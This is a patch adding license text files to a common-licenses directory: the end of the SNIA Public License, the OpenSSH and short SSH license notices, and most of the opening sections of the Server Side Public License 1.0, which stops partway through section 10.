+2.1 The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2 Contributor Grant. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1 Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2 Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+3.3 Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4 Intellectual Property Matters.
+ (a) Third Party Claims. If Contributor has actual knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter.
+ (b) Contributor API's. If Contributor's Modifications include an application programming interface and Contributor has actual knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations. Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be most likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6 Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligation of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability (excluding any liability arising from intellectual property claims relating to the Covered Code) incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7 Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License. This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1 New Versions. The Storage Networking Industry Association (the "SNIA") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2 Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by the SNIA. No one other than the SNIA has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3 Derivative Works. If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Storage Networking Industry Association," "SNIA," or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the SNIA Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within a reasonable time after becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2 If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that: o (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+8.3 If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4 In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS. The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS. As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE. Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of this License or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+14. ACCEPTANCE. This License is accepted by You if You retain, use, or distribute the Covered Code for any purpose.
+
+EXHIBIT A The SNIA Public License.
+
+The contents of this file are subject to the SNIA Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+www.snia.org/smi/developers/cim/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is .
+
+The Initial Developer of the Original Code is [COMPLETE THIS] .
+
+Contributor(s): ______________________________________.
+
+Read more about this license at http://www.snia.org/smi/developers/open_source/
diff --git a/meta/files/common-licenses/SSH-OpenSSH b/meta/files/common-licenses/SSH-OpenSSH
new file mode 100644
index 0000000000..35a5c8c829
--- /dev/null
+++ b/meta/files/common-licenses/SSH-OpenSSH
@@ -0,0 +1,67 @@
+* Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
+* All rights reserved
+*
+* As far as I am concerned, the code I have written for this software
+* can be used freely for any purpose. Any derived versions of this
+* software must be clearly marked as such, and if the derived work is
+* incompatible with the protocol description in the RFC file, it must be
+* called by a name other than "ssh" or "Secure Shell".
+
+[Tatu continues]
+* However, I am not implying to give any licenses to any patents or
+* copyrights held by third parties, and the software includes parts that
+* are not under my direct control. As far as I know, all included
+* source code is used in accordance with the relevant license agreements
+* and can be used freely for any purpose (the GNU license being the most
+* restrictive); see below for details.
+
+[However, none of that term is relevant at this point in time. All of
+these restrictively licenced software components which he talks about
+have been removed from OpenSSH, i.e.,
+
+- RSA is no longer included, found in the OpenSSL library
+- IDEA is no longer included, its use is deprecated
+- DES is now external, in the OpenSSL library
+- GMP is no longer used, and instead we call BN code from OpenSSL
+- Zlib is now external, in a library
+- The make-ssh-known-hosts script is no longer included
+- TSS has been removed
+- MD5 is now external, in the OpenSSL library
+- RC4 support has been replaced with ARC4 support from OpenSSL
+- Blowfish is now external, in the OpenSSL library
+
+[The licence continues]
+
+Note that any information and cryptographic algorithms used in this
+software are publicly available on the Internet and at any major
+bookstore, scientific library, and patent office worldwide. More
+information can be found e.g. at "http://www.cs.hut.fi/crypto".
+
+The legal status of this program is some combination of all these
+permissions and restrictions. Use only at your own responsibility.
+You will be responsible for any legal consequences yourself; I am not
+making any claims whether possessing or using this is legal or not in
+your country, and I am not taking any responsibility on your behalf.
+
+
+ NO WARRANTY
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/SSH-short b/meta/files/common-licenses/SSH-short
new file mode 100644
index 0000000000..bf6f8a0e62
--- /dev/null
+++ b/meta/files/common-licenses/SSH-short
@@ -0,0 +1,5 @@
+As far as I am concerned, the code I have written for this software
+can be used freely for any purpose. Any derived versions of this
+software must be clearly marked as such, and if the derived work is
+incompatible with the protocol description in the RFC file, it must be
+called by a name other than "ssh" or "Secure Shell".
diff --git a/meta/files/common-licenses/SSPL-1.0 b/meta/files/common-licenses/SSPL-1.0
new file mode 100644
index 0000000000..ed242d9a09
--- /dev/null
+++ b/meta/files/common-licenses/SSPL-1.0
@@ -0,0 +1,557 @@
+ Server Side Public License
+ VERSION 1, OCTOBER 16, 2018
+
+ Copyright © 2018 MongoDB, Inc.
+
+ Everyone is permitted to copy and distribute verbatim copies of this
+ license document, but changing it is not allowed.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ “This License” refers to Server Side Public License.
+
+ “Copyright” also means copyright-like laws that apply to other kinds of
+ works, such as semiconductor masks.
+
+ “The Program” refers to any copyrightable work licensed under this
+ License. Each licensee is addressed as “you”. “Licensees” and
+ “recipients” may be individuals or organizations.
+
+ To “modify” a work means to copy from or adapt all or part of the work in
+ a fashion requiring copyright permission, other than the making of an
+ exact copy. The resulting work is called a “modified version” of the
+ earlier work or a work “based on” the earlier work.
+
+ A “covered work” means either the unmodified Program or a work based on
+ the Program.
+
+ To “propagate” a work means to do anything with it that, without
+ permission, would make you directly or secondarily liable for
+ infringement under applicable copyright law, except executing it on a
+ computer or modifying a private copy. Propagation includes copying,
+ distribution (with or without modification), making available to the
+ public, and in some countries other activities as well.
+
+ To “convey” a work means any kind of propagation that enables other
+ parties to make or receive copies. Mere interaction with a user through a
+ computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays “Appropriate Legal Notices” to the
+ extent that it includes a convenient and prominently visible feature that
+ (1) displays an appropriate copyright notice, and (2) tells the user that
+ there is no warranty for the work (except to the extent that warranties
+ are provided), that licensees may convey the work under this License, and
+ how to view a copy of this License. If the interface presents a list of
+ user commands or options, such as a menu, a prominent item in the list
+ meets this criterion.
+
+ 1. Source Code.
+
+ The “source code” for a work means the preferred form of the work for
+ making modifications to it. “Object code” means any non-source form of a
+ work.
+
+ A “Standard Interface” means an interface that either is an official
+ standard defined by a recognized standards body, or, in the case of
+ interfaces specified for a particular programming language, one that is
+ widely used among developers working in that language. The “System
+ Libraries” of an executable work include anything, other than the work as
+ a whole, that (a) is included in the normal form of packaging a Major
+ Component, but which is not part of that Major Component, and (b) serves
+ only to enable use of the work with that Major Component, or to implement
+ a Standard Interface for which an implementation is available to the
+ public in source code form. A “Major Component”, in this context, means a
+ major essential component (kernel, window system, and so on) of the
+ specific operating system (if any) on which the executable work runs, or
+ a compiler used to produce the work, or an object code interpreter used
+ to run it.
+
+ The “Corresponding Source” for a work in object code form means all the
+ source code needed to generate, install, and (for an executable work) run
+ the object code and to modify the work, including scripts to control
+ those activities. However, it does not include the work's System
+ Libraries, or general-purpose tools or generally available free programs
+ which are used unmodified in performing those activities but which are
+ not part of the work. For example, Corresponding Source includes
+ interface definition files associated with source files for the work, and
+ the source code for shared libraries and dynamically linked subprograms
+ that the work is specifically designed to require, such as by intimate
+ data communication or control flow between those subprograms and other
+ parts of the work.
+
+ The Corresponding Source need not include anything that users can
+ regenerate automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+ copyright on the Program, and are irrevocable provided the stated
+ conditions are met. This License explicitly affirms your unlimited
+ permission to run the unmodified Program, subject to section 13. The
+ output from running a covered work is covered by this License only if the
+ output, given its content, constitutes a covered work. This License
+ acknowledges your rights of fair use or other equivalent, as provided by
+ copyright law. Subject to section 13, you may make, run and propagate
+ covered works that you do not convey, without conditions so long as your
+ license otherwise remains in force. You may convey covered works to
+ others for the sole purpose of having them make modifications exclusively
+ for you, or provide you with facilities for running those works, provided
+ that you comply with the terms of this License in conveying all
+ material for which you do not control copyright. Those thus making or
+ running the covered works for you must do so exclusively on your
+ behalf, under your direction and control, on terms that prohibit them
+ from making any copies of your copyrighted material outside their
+ relationship with you.
+
+ Conveying under any other circumstances is permitted solely under the
+ conditions stated below. Sublicensing is not allowed; section 10 makes it
+ unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+ measure under any applicable law fulfilling obligations under article 11
+ of the WIPO copyright treaty adopted on 20 December 1996, or similar laws
+ prohibiting or restricting circumvention of such measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+ circumvention of technological measures to the extent such circumvention is
+ effected by exercising rights under this License with respect to the
+ covered work, and you disclaim any intention to limit operation or
+ modification of the work as a means of enforcing, against the work's users,
+ your or third parties' legal rights to forbid circumvention of
+ technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+ receive it, in any medium, provided that you conspicuously and
+ appropriately publish on each copy an appropriate copyright notice; keep
+ intact all notices stating that this License and any non-permissive terms
+ added in accord with section 7 apply to the code; keep intact all notices
+ of the absence of any warranty; and give all recipients a copy of this
+ License along with the Program. You may charge any price or no price for
+ each copy that you convey, and you may offer support or warranty
+ protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+ produce it from the Program, in the form of source code under the terms
+ of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified it,
+ and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is released
+ under this License and any conditions added under section 7. This
+ requirement modifies the requirement in section 4 to “keep intact all
+ notices”.
+
+ c) You must license the entire work, as a whole, under this License to
+ anyone who comes into possession of a copy. This License will therefore
+ apply, along with any applicable section 7 additional terms, to the
+ whole of the work, and all its parts, regardless of how they are
+ packaged. This License gives no permission to license the work in any
+ other way, but it does not invalidate such permission if you have
+ separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your work
+ need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+ works, which are not by their nature extensions of the covered work, and
+ which are not combined with it such as to form a larger program, in or on
+ a volume of a storage or distribution medium, is called an “aggregate” if
+ the compilation and its resulting copyright are not used to limit the
+ access or legal rights of the compilation's users beyond what the
+ individual works permit. Inclusion of a covered work in an aggregate does
+ not cause this License to apply to the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms of
+ sections 4 and 5, provided that you also convey the machine-readable
+ Corresponding Source under the terms of this License, in one of these
+ ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium customarily
+ used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a written
+ offer, valid for at least three years and valid for as long as you
+ offer spare parts or customer support for that product model, to give
+ anyone who possesses the object code either (1) a copy of the
+ Corresponding Source for all the software in the product that is
+ covered by this License, on a durable physical medium customarily used
+ for software interchange, for a price no more than your reasonable cost
+ of physically performing this conveying of source, or (2) access to
+ copy the Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This alternative is
+ allowed only occasionally and noncommercially, and only if you received
+ the object code with such an offer, in accord with subsection 6b.
+
+ d) Convey the object code by offering access from a designated place
+ (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to copy
+ the object code is a network server, the Corresponding Source may be on
+ a different server (operated by you or a third party) that supports
+ equivalent copying facilities, provided you maintain clear directions
+ next to the object code saying where to find the Corresponding Source.
+ Regardless of what server hosts the Corresponding Source, you remain
+ obligated to ensure that it is available for as long as needed to
+ satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided you
+ inform other peers where the object code and Corresponding Source of
+ the work are being offered to the general public at no charge under
+ subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+ from the Corresponding Source as a System Library, need not be included
+ in conveying the object code work.
+
+ A “User Product” is either (1) a “consumer product”, which means any
+ tangible personal property which is normally used for personal, family,
+ or household purposes, or (2) anything designed or sold for incorporation
+ into a dwelling. In determining whether a product is a consumer product,
+ doubtful cases shall be resolved in favor of coverage. For a particular
+ product received by a particular user, “normally used” refers to a
+ typical or common use of that class of product, regardless of the status
+ of the particular user or of the way in which the particular user
+ actually uses, or expects or is expected to use, the product. A product
+ is a consumer product regardless of whether the product has substantial
+ commercial, industrial or non-consumer uses, unless such uses represent
+ the only significant mode of use of the product.
+
+ “Installation Information” for a User Product means any methods,
+ procedures, authorization keys, or other information required to install
+ and execute modified versions of a covered work in that User Product from
+ a modified version of its Corresponding Source. The information must
+ suffice to ensure that the continued functioning of the modified object
+ code is in no case prevented or interfered with solely because
+ modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+ specifically for use in, a User Product, and the conveying occurs as part
+ of a transaction in which the right of possession and use of the User
+ Product is transferred to the recipient in perpetuity or for a fixed term
+ (regardless of how the transaction is characterized), the Corresponding
+ Source conveyed under this section must be accompanied by the
+ Installation Information. But this requirement does not apply if neither
+ you nor any third party retains the ability to install modified object
+ code on the User Product (for example, the work has been installed in
+ ROM).
+
+ The requirement to provide Installation Information does not include a
+ requirement to continue to provide support service, warranty, or updates
+ for a work that has been modified or installed by the recipient, or for
+ the User Product in which it has been modified or installed. Access
+ to a network may be denied when the modification itself materially
+ and adversely affects the operation of the network or violates the
+ rules and protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided, in
+ accord with this section must be in a format that is publicly documented
+ (and with an implementation available to the public in source code form),
+ and must require no special password or key for unpacking, reading or
+ copying.
+
+ 7. Additional Terms.
+
+ “Additional permissions” are terms that supplement the terms of this
+ License by making exceptions from one or more of its conditions.
+ Additional permissions that are applicable to the entire Program shall be
+ treated as though they were included in this License, to the extent that
+ they are valid under applicable law. If additional permissions apply only
+ to part of the Program, that part may be used separately under those
+ permissions, but the entire Program remains governed by this License
+ without regard to the additional permissions. When you convey a copy of
+ a covered work, you may at your option remove any additional permissions
+ from that copy, or from any part of it. (Additional permissions may be
+ written to require their own removal in certain cases when you modify the
+ work.) You may place additional permissions on material, added by you to
+ a covered work, for which you have or can give appropriate copyright
+ permission.
+
+ Notwithstanding any other provision of this License, for material you add
+ to a covered work, you may (if authorized by the copyright holders of
+ that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some trade
+ names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that material
+ by anyone who conveys the material (or modified versions of it) with
+ contractual assumptions of liability to the recipient, for any
+ liability that these contractual assumptions directly impose on those
+ licensors and authors.
+
+ All other non-permissive additional terms are considered “further
+ restrictions” within the meaning of section 10. If the Program as you
+ received it, or any part of it, contains a notice stating that it is
+ governed by this License along with a term that is a further restriction,
+ you may remove that term. If a license document contains a further
+ restriction but permits relicensing or conveying under this License, you
+ may add to a covered work material governed by the terms of that license
+ document, provided that the further restriction does not survive such
+ relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you must
+ place, in the relevant source files, a statement of the additional terms
+ that apply to those files, or a notice indicating where to find the
+ applicable terms. Additional terms, permissive or non-permissive, may be
+ stated in the form of a separately written license, or stated as
+ exceptions; the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+ provided under this License. Any attempt otherwise to propagate or modify
+ it is void, and will automatically terminate your rights under this
+ License (including any patent licenses granted under the third paragraph
+ of section 11).
+
+ However, if you cease all violation of this License, then your license
+ from a particular copyright holder is reinstated (a) provisionally,
+ unless and until the copyright holder explicitly and finally terminates
+ your license, and (b) permanently, if the copyright holder fails to
+ notify you of the violation by some reasonable means prior to 60 days
+ after the cessation.
+
+ Moreover, your license from a particular copyright holder is reinstated
+ permanently if the copyright holder notifies you of the violation by some
+ reasonable means, this is the first time you have received notice of
+ violation of this License (for any work) from that copyright holder, and
+ you cure the violation prior to 30 days after your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+ licenses of parties who have received copies or rights from you under
+ this License. If your rights have been terminated and not permanently
+ reinstated, you do not qualify to receive new licenses for the same
+ material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or run a
+ copy of the Program. Ancillary propagation of a covered work occurring
+ solely as a consequence of using peer-to-peer transmission to receive a
+ copy likewise does not require acceptance. However, nothing other than
+ this License grants you permission to propagate or modify any covered
+ work. These actions infringe copyright if you do not accept this License.
+ Therefore, by modifying or propagating a covered work, you indicate your
+ acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically receives
+ a license from the original licensors, to run, modify and propagate that
+ work, subject to this License. You are not responsible for enforcing
+ compliance by third parties with this License.
+
+ An “entity transaction” is a transaction transferring control of an
+ organization, or substantially all assets of one, or subdividing an
+ organization, or merging organizations. If propagation of a covered work
+ results from an entity transaction, each party to that transaction who
+ receives a copy of the work also receives whatever licenses to the work
